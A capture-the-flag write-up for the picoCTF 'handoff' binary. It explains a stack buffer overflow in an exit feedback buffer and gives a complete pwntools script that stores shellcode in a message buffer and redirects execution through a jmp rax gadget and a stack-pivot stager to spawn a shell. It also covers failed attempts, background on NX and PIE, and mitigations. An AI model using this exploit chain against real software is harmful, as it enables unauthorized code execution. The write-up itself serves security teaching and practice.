Description
A messaging program stores recipients and their messages on the stack. NX is disabled and PIE is off. Add one recipient and store shellcode in entries[0].msg, then overflow the feedback buffer to redirect execution through a jmp rax gadget, which lands on a stager that pivots rsp into the shellcode stored in entry 0's message buffer.
Setup
Download the binary and source from the picoCTF challenge page.
Check the binary protections - NX is off (stack executable) and PIE is disabled (fixed addresses). That combination is the green light for shellcode injection.
Hunt for the jmp rax gadget so you have its fixed address ready.
Study the struct layout: each entry has an 8-byte name and a 64-byte message buffer.
checksec --file=handoffROPgadget --binary handoff | grep 'jmp rax'nc <INSTANCE_HOST> <PORT_FROM_INSTANCE>Solution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
shellcraft.sh(), asm(), and the network plumbing used here.Step 1Understand the program structure and find the bugs
Observationchecksec reports NX disabled and no PIE, and the source reads 32 bytes into an 8-byte feedback buffer. The exit path is the overflow, and with a fixed-address gadget available, injected shellcode is the way in.Three options: add recipient (option 1), send message (option 2), exit (option 3). Each entry is 8 bytes for the name and 64 bytes for the message. The exit option reads 32 bytes via fgets into only an 8-byte feedback buffer. Since RAX holds the return value of fgets (the address of the feedback buffer), and since we can use a jmp rax gadget at a fixed address (no PIE), we can redirect to our feedback buffer and pivot from there. The source shows the name buffer is only 8 bytes even though NAME_LEN is 32 - the name field is truncated in the struct, which is a separate bug, but the key overflow is in the exit feedback.bash# Each entry struct: # struct entry { char name[8]; char msg[64]; }; # entry entries[10]; # The feedback buffer in exit is 8 bytes; fgets reads 32. # Overflow: 8 bytes feedback + 4 bytes padding + 8 bytes saved RBP = 20 bytes in.What didn't work first
Tried: Overflow the name buffer in option 1 (add recipient) instead of the feedback buffer in option 3 (exit).
The name field is truncated to 8 bytes inside the struct, so a long name corrupts neighboring struct memory and never reaches a return address. The feedback buffer is the site that matters: fgets reads 32 bytes into 8, and that buffer sits just below the saved RIP in the exit handler's frame.
Tried: Use gdb to calculate the overflow offset as 8 bytes (feedback buffer size) without accounting for alignment or saved RBP.
An x86-64 frame puts a saved RBP between the local buffer and the return address. The offset to RIP is 8 for the buffer, 4 for alignment padding, and 8 for the saved RBP: 20 bytes in total. Write the gadget at byte 8 and you clobber RBP instead, and the function returns to garbage.
Learn more
NX (No-eXecute) is a hardware protection that marks memory regions as either executable or writable but not both. With NX disabled, data on the stack can be executed as machine code. The
checksecutility confirms this; seeingNX disabledmeans shellcode injection is viable. With no PIE, all code addresses are fixed, so thejmp raxgadget is always at the same address across runs.The key insight is that
fgetsreturns the address of the buffer it just filled - stored inrax. After the overflow overwrites the return address with the address of ajmp raxgadget, execution jumps to the feedback buffer. The feedback buffer holds a small stager that pivots rsp backward on the stack into the 64-byte message buffer of entry 0, where the NOP sled and real shellcode live.Step 2Add one recipient and store shellcode in entry 0
Observationentries[0].msg is 64 bytes on the stack, enough for a NOP sled and the payload, and the stager reaches it through a hardcoded 0x2e8 offset. Allocate exactly one recipient, write the shellcode there, then trigger the overflow.Add 1 recipient (option 1, once) with any name. Then send the main shellcode as the message to recipient 0 (option 2, index 0). The shellcode lands in entries[0].msg. Pad the shellcode up to 64 bytes with NOPs so the stager always jumps into the NOP sled and reaches the real payload. The stager in the feedback buffer doesnop; sub rsp, 0x2e8; jmp rsp, moving the stack pointer 744 bytes backward on the stack and jumping there - right into entries[0].msg.pythonfrom pwn import * context.arch = 'amd64' p = remote('<INSTANCE_HOST>', <PORT_FROM_INSTANCE>) shellcode = asm(shellcraft.sh()) nop_sled = asm('nop') * (63 - len(shellcode)) # Add 1 recipient so entry 0 is allocated p.sendlineafter(b'Exit', b'1') p.sendlineafter(b"recipient's name:", b'exploit') # Send shellcode as message to recipient 0 p.sendlineafter(b'Exit', b'2') p.sendlineafter(b'send a message to?', b'0') p.sendlineafter(b'What message', nop_sled + shellcode)What didn't work first
Tried: Allocate more than one recipient to give the shellcode extra room, adding entries 1 and 2 before sending the shellcode.
The stager subtracts a fixed 744 bytes from RSP to reach entries[0].msg. Extra entries shift the layout, so the pivot lands in unrelated stack memory instead of the shellcode. Allocate one recipient and the layout matches the baked-in offset.
Tried: Send the shellcode without a NOP sled, filling all 64 bytes with shellcode bytes and relying on the stager to land on the first byte exactly.
The pivot lands wherever RSP points after the subtraction, which can sit a few bytes off the start of the buffer because of alignment or small layout differences. Without a sled, a four-byte miss has the CPU decoding mid-instruction and crashing. NOPs at the front give it a landing zone.
Learn more
pwntools' shellcraft module generates minimal x86-64 shellcode to call
execve("/bin/sh", NULL, NULL). The 64-byte message buffer in entries[0] is more than large enough; typical shellcraft output is around 44 bytes. Padding the front with NOPs creates a sled so the stager does not need to land on exactly the first byte of the shellcode instruction.Only one recipient needs to be allocated. The stager subtracts a fixed offset of 0x2e8 (744 bytes) from RSP to land in entries[0].msg. That offset reflects the distance from the feedback buffer to the first entry on the stack; allocating additional entries beyond entry 0 would shift the layout and break the offset.
Step 3Overflow feedback and pivot to shellcode via jmp rax
Observationfgets leaves the feedback buffer's address in rax, and ROPgadget finds a jmp rax at a fixed address. Put a stager in the feedback buffer and overwrite the return address with that gadget, and no stack leak is needed.Choose option 3 (exit). Build the payload: the stager bytes (nop; sub rsp, 0x2e8; jmp rspassembled, ~10 bytes), NOP padding to reach byte 20, then the 8-byte jmp rax gadget address (0x40116c). When the function returns, execution jumps to the jmp rax gadget. RAX still holds the feedback buffer address (fgets return value), so jmp rax executes the stager. The stager subtracts 0x2e8 from rsp (moving the stack pointer 744 bytes backward, into entries[0].msg) and jumps rsp there - right into the NOP sled and shellcode.bash# Find the jmp rax gadget address: # ROPgadget --binary handoff | grep 'jmp rax' JMP_RAX = 0x000000000040116c stager = asm('nop; sub rsp, 0x2e8; jmp rsp') # ~10 bytes # Pad to 20 bytes (feedback at offset 0, return address at offset 20) payload = stager + b'\x00' * (20 - len(stager)) + p64(JMP_RAX) assert len(payload) <= 32, "payload must fit the 32-byte fgets read" p.sendlineafter(b'Exit', b'3') p.sendline(payload) p.interactive()What didn't work first
Tried: Use a ret2shellcode approach by overwriting RIP directly with the address of entries[0].msg instead of routing through the jmp rax gadget.
That buffer is on the stack, so ASLR randomizes its address even though the binary itself is not PIE, and without a leak you do not know where it is. The jmp rax gadget steps around that: fgets already left the feedback buffer's address in rax, and it is still there when the ret executes.
Tried: Place the full shellcode directly in the feedback buffer payload instead of using a stager, since the feedback buffer is executable with NX disabled.
There are only 20 bytes before the return address, and the stager already spends about 10 of them; after the 8-byte gadget address barely 3 bytes are left, since fgets stores at most 31 characters plus its terminator. A working execve payload runs 44 bytes or more. The stager exists to bridge from there to the 64-byte message buffer, which is large enough.
Learn more
When the exit function returns, the CPU reads the overwritten return address and jumps to the
jmp raxgadget. At that point,raxholds the address of the feedback buffer because the x86-64 SysV ABI returns function results inrax, andfgetsreturns its buffer pointer. This persists through the function epilogue, makingjmp raxjump directly to the stager at the start of the feedback buffer.The stager does
sub rsp, 0x2e8(subtract 744 decimal) which moves the stack pointer backward 744 bytes - landing inside entries[0].msg, where the NOP sled and shellcode live. Thenjmp rsptransfers control there. The offset 0x2e8 was determined by analyzing the stack layout: entries[0].msg is positioned approximately 744 bytes before the feedback buffer in memory.The leading
nopis not strictly required:jmp raxlands on the feedback buffer's first byte exactly, so thesubwould execute either way. It costs one byte and keeps the stager tolerant of a landing that is off by one, which is cheap insurance in a 20-byte window. What does matter is keeping the payload inside the read:fgetswrites its terminating null immediately after the last byte it stored, so with 28 bytes of payload that null lands past the gadget address rather than inside the stager.The jmp rax gadget is found by scanning the binary with
ROPgadget --binary handoff | grep "jmp rax". Because PIE is disabled, the gadget's address is fixed at0x40116cregardless of ASLR. In a PIE binary you would first need to leak a code address.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{p1v0ted_ftw_...}
Add 1 recipient, store shellcode (with NOP sled) in entry 0's message, overflow feedback with a stager (nop; sub rsp, 0x2e8; jmp rsp) + padding + jmp rax gadget address. Execution flows: ret -> jmp rax gadget -> stager -> pivots rsp into entries[0].msg -> shellcode.
Key takeaway
How to prevent this
How to prevent this
This exploit chains a buffer overflow with disabled NX. Either mitigation alone breaks it.
- Bounds-check the read into the feedback buffer.
read(fd, buf, sizeof(buf)), or usefgetswith the buffer length.scanf("%s")andgetsare unsafe by design. - Compile with NX (
-z noexecstack, the default in modern toolchains). With NX on, even a successful return-address overwrite cannot execute shellcode placed in stack/heap data; the attacker is forced into ROP, which adds a large prerequisite (gadget hunt + leak). - Add PIE (
-fPIE -pie) and stack canaries (-fstack-protector-strong). PIE randomizesjmp raxgadget addresses; canaries detect the overflow beforeretever executes.